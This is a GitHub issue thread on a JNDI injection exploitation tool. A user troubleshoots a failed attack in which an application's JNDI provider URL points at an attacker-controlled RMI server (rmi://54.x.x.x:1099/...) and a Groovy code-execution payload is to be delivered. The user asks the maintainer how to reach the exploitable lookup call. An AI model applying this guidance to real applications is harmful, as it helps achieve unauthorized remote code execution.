search

welk1n / JNDI-Injection-Exploit

JNDI注入测试工具（A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc）
MIT License
2.59k stars 725 forks source link

javax.naming.NotContextException: rmi://54.x.x.x:1099/ngiawf at RegistryContextFactory.URLToContext #2

Open yahanvesh opened 4 years ago

yahanvesh commented 4 years ago

I have tweaked the code to use the new Groovy payload given by orange last month. However in my usecase , i dont have a direct initialContext.lookup available. What i have is the path below- However right now its failing at line 104 in http://cr.openjdk.java.net/~mduigou/7072353/3/webrev/src/share/classes/com/sun/jndi/rmi/registry/RegistryContextFactory.java.html#104

As the object sent back from the EVIL RMI server is not an instance of Context? ANy suggestions if this can still be exploited?

javax.naming.NotContextException: rmi://54.x.x.x:1099/ngiawf
    at com.sun.jndi.rmi.registry.RegistryContextFactory.URLToContext(RegistryContextFactory.java:107) ~[?:1.8.0_222]
    at com.sun.jndi.rmi.registry.RegistryContextFactory.getInitialContext(RegistryContextFactory.java:69) ~[?:1.8.0_222]
    at javax.naming.spi.NamingManager.getInitialContext(NamingManager.java:684) ~[?:1.8.0_222]
    at javax.naming.InitialContext.getDefaultInitCtx(InitialContext.java:313) ~[?:1.8.0_222]
    at javax.naming.InitialContext.init(InitialContext.java:244) ~[?:1.8.0_222]
    at javax.naming.InitialContext.<init>(InitialContext.java:216) ~[?:1.8.0_222]
    at javax.naming.directory.InitialDirContext.<init>(InitialDirContext.java:101) ~[?:1.8.0_222]
welk1n commented 4 years ago

you are right, actually its an instance of RemoteReference/Remote. About how exploit "this", I dont follow you totally，what's the vul code and which part can you control?

yahanvesh commented 4 years ago

@welk1n Does the exploit happen only with the call InitialContext.lookup() ? Ill paste the code flow

yahanvesh commented 4 years ago

In my application, im able to override two params below- java.naming.provider.url which i set to rmi server generated by your code - rmi://54.x.x.x:1099/ngiawf java.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory

I have groovy and Apache bean Factory in the Classpath, so trying the execByGroovy payload Java version : 1.8.0.222

Here is the Code flow:- config contains the overriden params above. makeDirectoyEnv code basically sets these overridden values in Environment.

 1023  dirEnv = makeDirectoryEnv(this.getUrl(), config);
 1024  dirCtx = new InitialDirContext(dirEnv);
...
**then after some lines ***
1029 eventCtx = (EventContext) new InitialContext(dirEnv).lookup(config.getBaseDn());

1) Im assuming the actual exploit happens at the lookup function ? Is it right assumption? 2)Secondly right now its failing at 1024 with the stack trace given above. So its not even able to reach lookup. So in which case is it not possible to exploit?